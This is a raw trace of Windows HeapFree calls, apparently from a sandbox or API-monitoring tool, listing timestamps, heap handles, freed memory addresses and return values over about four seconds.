	[0044.244] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.244] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.405] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.406] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.406] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.406] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0044.406] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0044.407] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0044.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0044.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0044.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0044.408] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0044.409] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.410] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.411] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.411] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0044.411] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.411] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.412] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.413] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.415] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.790] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0044.910] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.910] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.055] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.263] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.265] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.265] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0045.265] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0045.266] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0045.267] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.269] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0045.272] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0045.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0045.894] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0045.894] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0045.894] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0045.903] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0045.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0046.253] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.296] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.341] HeapFree (hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60) 
	[0046.342] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.772] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0046.772] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0046.772] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0046.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0046.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0046.927] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0046.928] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.086] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.089] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.108] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.120] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.120] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.120] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.120] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.121] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.128] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.130] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.131] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.133] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.134] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.135] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.151] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.152] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.155] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.157] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.159] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.293] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.295] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.301] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.302] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.303] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.306] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.307] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.309] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.310] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.311] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.313] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.327] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.329] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.330] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.331] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.333] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.336] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.338] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.339] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.351] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.352] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.419] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0047.422] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.423] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.424] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.426] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.427] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.428] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.429] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.429] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0047.431] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.434] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.435] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.436] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.438] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.439] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.482] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.483] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.484] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.496] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.497] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.499] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.500] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.501] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.503] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.506] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.507] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.508] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.510] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.511] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.513] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.514] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.515] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.517] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.518] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.520] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.521] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.599] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.600] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0047.671] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.159] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.162] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.163] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.169] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.172] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.183] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.185] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.185] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.187] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.284] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.286] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.287] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.288] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.290] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.290] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0048.291] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.294] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.295] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.297] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.299] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.525] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.526] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.533] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.589] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.591] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.593] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.595] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.596] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.598] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.600] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.601] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.603] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.606] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.607] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.609] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.613] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.615] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.616] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.618] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.722] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.725] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.846] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43f2cb8 | out: hHeap=0x650000) returned 1
	[0048.849] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4452cd0 | out: hHeap=0x650000) returned 1
	[0048.851] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4452cd0 | out: hHeap=0x650000) returned 1
	[0048.852] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4452cd0 | out: hHeap=0x650000) returned 1
	[0048.853] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.854] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.855] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.856] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.942] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.943] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.943] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.944] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.944] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.944] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.946] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.946] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.947] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.947] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
